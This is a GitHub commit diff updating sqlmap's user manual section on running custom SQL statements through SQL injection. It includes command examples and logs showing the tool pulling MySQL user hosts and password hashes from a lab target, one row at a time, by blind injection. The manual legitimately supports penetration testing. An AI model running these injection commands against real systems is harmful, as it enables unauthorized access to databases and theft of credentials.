Skip to content

Commit 77d9d22

Browse files
bdamelebdamele
committed
Minor update to the user's manual
1 parent dded57f commit 77d9d22

File tree

3 files changed

+150
-150
lines changed

3 files changed

+150
-150
lines changed

‎doc/README.html

Lines changed: 76 additions & 75 deletions
Original file line numberDiff line numberDiff line change
@@ -3455,8 +3455,14 @@ <H3>Run your own SQL statement</H3>
34553455
<P>Options: <CODE>--sql-query</CODE> and <CODE>--sql-shell</CODE></P>
34563456

34573457
<P>The SQL query and the SQL shell features makes the user able to run
3458-
whatever <CODE>SELECT</CODE> statement on the web application's back-end
3459-
database management system and retrieve its output.</P>
3458+
custom SQL statement on the web application's back-end database management.
3459+
sqlmap automatically recognize the type of SQL statement provided and
3460+
choose which SQL injection technique to use to execute it: if it is a
3461+
<CODE>SELECT</CODE> statement it will retrieve its output through the blind SQL
3462+
injection or UNION query SQL injection technique depending on the user's
3463+
options, otherwise it will execute the query through the stacked query
3464+
SQL injection technique if the web application supports multiple
3465+
statements on the back-end database management system.</P>
34603466

34613467
<P>Examples on a <B>Microsoft SQL Server 2000 Service Pack 0</B> target:</P>
34623468
<P>
@@ -3495,9 +3501,9 @@ <H3>Run your own SQL statement</H3>
34953501

34963502
<P>As you can see from this last example, sqlmap splits the query in two
34973503
different <CODE>SELECT</CODE> statement to be able to retrieve the output even
3498-
when using blind SQL injection technique.
3499-
Otherwise in inband SQL injection technique it only perform a single HTTP
3500-
request to get the user's query output:</P>
3504+
when using the blind SQL injection technique.
3505+
Otherwise in UNION query SQL injection technique it only performs a single
3506+
HTTP request to get the user's query output:</P>
35013507
<P>
35023508
<BLOCKQUOTE><CODE>
35033509
<PRE>
@@ -3524,24 +3530,12 @@ <H3>Run your own SQL statement</H3>
35243530
</CODE></BLOCKQUOTE>
35253531
</P>
35263532

3527-
<P>Examples on an <B>Oracle XE 10.2.0.1</B> target:</P>
3528-
<P>
3529-
<BLOCKQUOTE><CODE>
3530-
<PRE>
3531-
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --sql-query \
3532-
"SELECT 'foo' FROM dual" -v 0
3533-
3534-
[hh:mm:04] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] n
3535-
SELECT 'foo' FROM dual: 'foo'
3536-
</PRE>
3537-
</CODE></BLOCKQUOTE>
3538-
</P>
3539-
3540-
<P>As you can see, if your <CODE>SELECT</CODE> statement contains a <CODE>FROM</CODE>
3541-
clause, sqlmap asks the user if such statement can return multiple entries
3542-
and in such case the tool knows how to unpack the query correctly to
3543-
retrieve its whole output line per line when going through blind SQL
3544-
injection technique.</P>
3533+
<P>If your <CODE>SELECT</CODE> statement contains a <CODE>FROM</CODE> clause, sqlmap
3534+
asks the user if such statement can return multiple entries and in such
3535+
case the tool knows how to unpack the query correctly to retrieve its
3536+
whole output entry per entry when going through blind SQL injection
3537+
technique. Through UNION query SQL injection it retrieved the whole output
3538+
in a single response.</P>
35453539

35463540
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
35473541
<P>
@@ -3550,9 +3544,9 @@ <H3>Run your own SQL statement</H3>
35503544
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-query \
35513545
"SELECT usename FROM pg_user" -v 0
35523546

3553-
[hh:mm:47] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y
3554-
[hh:mm:48] [INPUT] the SQL query that you provide can return up to 3 entries. How many
3555-
entries do you want to retrieve?
3547+
[hh:mm:32] [INPUT] can the SQL query provided return multiple entries? [Y/n] y
3548+
[hh:mm:37] [INPUT] the SQL query provided can return up to 2 entries. How many entries
3549+
do you want to retrieve?
35563550
[a] All (default)
35573551
[#] Specific number
35583552
[q] Quit
@@ -3564,72 +3558,62 @@ <H3>Run your own SQL statement</H3>
35643558
</CODE></BLOCKQUOTE>
35653559
</P>
35663560

3567-
<P>As you can see from the last example, sqlmap counts the number of entries
3568-
for your query and asks how many entries from the top you want to dump.
3561+
<P>As you can see from the last example, sqlmap counted the number of entries
3562+
for your query and asks how many entries you want to dump.
35693563
Otherwise if you specify also the <CODE>LIMIT</CODE>, or similar, clause
3570-
sqlmap will not ask anything, just unpack the query and return its
3571-
output line per line when going through blind SQL injection technique.</P>
3564+
sqlmap will not ask anything, it just unpacks the query and return its
3565+
output entry per entry when going through blind SQL injection technique.
3566+
Through UNION query SQL injection it retrieved the whole output in a
3567+
single response.</P>
35723568

35733569
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
35743570
<P>
35753571
<BLOCKQUOTE><CODE>
35763572
<PRE>
35773573
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --sql-query \
3578-
"SELECT user, host, password FROM mysql.user LIMIT 1, 3" -v 1
3574+
"SELECT host, password FROM mysql.user LIMIT 1, 3" -v 1
35793575

35803576
[...]
35813577
back-end DBMS: MySQL >= 5.0.0
35823578

3583-
[hh:mm:11] [INFO] fetching SQL SELECT query output: 'SELECT user, host, password FROM
3579+
[hh:mm:22] [INFO] fetching SQL SELECT statement query output: 'SELECT host, password FROM
35843580
mysql.user LIMIT 1, 3'
3585-
[hh:mm:12] [INFO] the SQL query provided has more than a field. sqlmap will now unpack
3586-
it into distinct queries to be able to retrieve the output even if we are going blind
3587-
[hh:mm:12] [INFO] query: SELECT IFNULL(CAST(user AS CHAR(10000)), CHAR(32)) FROM mysql.user
3588-
ORDER BY user ASC LIMIT 1, 1
3589-
[hh:mm:12] [INFO] retrieved: root
3590-
[hh:mm:12] [INFO] performed 34 queries in 0 seconds
3591-
[hh:mm:12] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user
3592-
ORDER BY user ASC LIMIT 1, 1
3593-
[hh:mm:12] [INFO] retrieved: localhost
3594-
[hh:mm:12] [INFO] performed 69 queries in 0 seconds
3595-
[hh:mm:12] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user
3596-
ORDER BY user ASC LIMIT 1, 1
3597-
[hh:mm:12] [INFO] retrieved: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
3598-
[hh:mm:13] [INFO] performed 293 queries in 0 seconds
3599-
[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(user AS CHAR(10000)), CHAR(32)) FROM mysql.user
3600-
ORDER BY user ASC LIMIT 2, 1
3601-
[hh:mm:13] [INFO] retrieved: root
3602-
[hh:mm:13] [INFO] performed 34 queries in 0 seconds
3603-
[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user
3604-
ORDER BY user ASC LIMIT 2, 1
3605-
[hh:mm:13] [INFO] retrieved: leboyer
3606-
[hh:mm:13] [INFO] performed 55 queries in 0 seconds
3607-
[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user
3608-
ORDER BY user ASC LIMIT 2, 1
3609-
[hh:mm:13] [INFO] retrieved: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
3610-
[hh:mm:14] [INFO] performed 293 queries in 0 seconds
3611-
[hh:mm:14] [INFO] query: SELECT IFNULL(CAST(user AS CHAR(10000)), CHAR(32)) FROM mysql.user
3612-
ORDER BY user ASC LIMIT 3, 1
3613-
[hh:mm:14] [INFO] retrieved: root
3614-
[hh:mm:14] [INFO] performed 34 queries in 0 seconds
3615-
[hh:mm:14] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user
3616-
ORDER BY user ASC LIMIT 3, 1
3617-
[hh:mm:14] [INFO] retrieved: 192.168.1.121
3618-
[hh:mm:14] [INFO] performed 69 queries in 0 seconds
3619-
[hh:mm:14] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user
3620-
ORDER BY user ASC LIMIT 3, 1
3621-
[hh:mm:14] [INFO] retrieved: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
3622-
[hh:mm:15] [INFO] performed 293 queries in 0 seconds
3623-
SELECT user, host, password FROM mysql.user LIMIT 1, 3 [3]:
3624-
[*] root, localhost, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
3625-
[*] root, leboyer, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
3626-
[*] root, 192.168.1.121, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
3581+
[hh:mm:22] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it
3582+
into distinct queries to be able to retrieve the output even if we are going blind
3583+
[hh:mm:22] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM
3584+
mysql.user LIMIT 1, 1
3585+
[hh:mm:22] [INFO] retrieved: localhost
3586+
[hh:mm:22] [INFO] performed 69 queries in 0 seconds
3587+
[hh:mm:22] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM
3588+
mysql.user LIMIT 1, 1
3589+
[hh:mm:22] [INFO] retrieved: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
3590+
[hh:mm:24] [INFO] performed 293 queries in 2 seconds
3591+
[hh:mm:24] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM
3592+
mysql.user LIMIT 2, 1
3593+
[hh:mm:24] [INFO] retrieved: localhost
3594+
[hh:mm:25] [INFO] performed 69 queries in 0 seconds
3595+
[hh:mm:25] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM
3596+
mysql.user LIMIT 2, 1
3597+
[hh:mm:25] [INFO] retrieved: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
3598+
[hh:mm:27] [INFO] performed 293 queries in 2 seconds
3599+
[hh:mm:27] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM
3600+
mysql.user LIMIT 3, 1
3601+
[hh:mm:27] [INFO] retrieved: localhost
3602+
[hh:mm:28] [INFO] performed 69 queries in 0 seconds
3603+
[hh:mm:28] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32))
3604+
FROM mysql.user LIMIT 3, 1
3605+
[hh:mm:28] [INFO] retrieved:
3606+
[hh:mm:28] [INFO] performed 6 queries in 0 seconds
3607+
SELECT host, password FROM mysql.user LIMIT 1, 3 [3]:
3608+
[*] localhost, *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
3609+
[*] localhost, *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
3610+
[*] localhost,
36273611
</PRE>
36283612
</CODE></BLOCKQUOTE>
36293613
</P>
36303614

36313615
<P>The SQL shell option gives you access to run your own SQL statement
3632-
interactively, like a SQL console logged into the back-end database
3616+
interactively, like a SQL console logged to the back-end database
36333617
management system.
36343618
This feature has TAB completion and history support.</P>
36353619

@@ -3804,6 +3788,23 @@ <H3>Run your own SQL statement</H3>
38043788
column names of the table then asks if the query can return multiple
38053789
entries and goes on.</P>
38063790

3791+
<P>Example of SQL statement other than <CODE>SELECT</CODE> on an <B>Oracle XE
3792+
10.2.0.1</B> target:</P>
3793+
<P>
3794+
<BLOCKQUOTE><CODE>
3795+
<PRE>
3796+
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --sql-shell -v 1
3797+
3798+
[...]
3799+
back-end DBMS: Oracle
3800+
3801+
[hh:mm:20] [INFO] calling Oracle shell. To quit type 'x' or 'q' and press ENTER
3802+
sql> TODO
3803+
</PRE>
3804+
</CODE></BLOCKQUOTE>
3805+
</P>
3806+
3807+
38073808

38083809
<H2><A NAME="ss5.8">5.8</A> <A HREF="#toc5.8">File system access</A>
38093810
</H2>

‎doc/README.pdf

445 Bytes
Binary file not shown.

0 commit comments

Comments
 (0)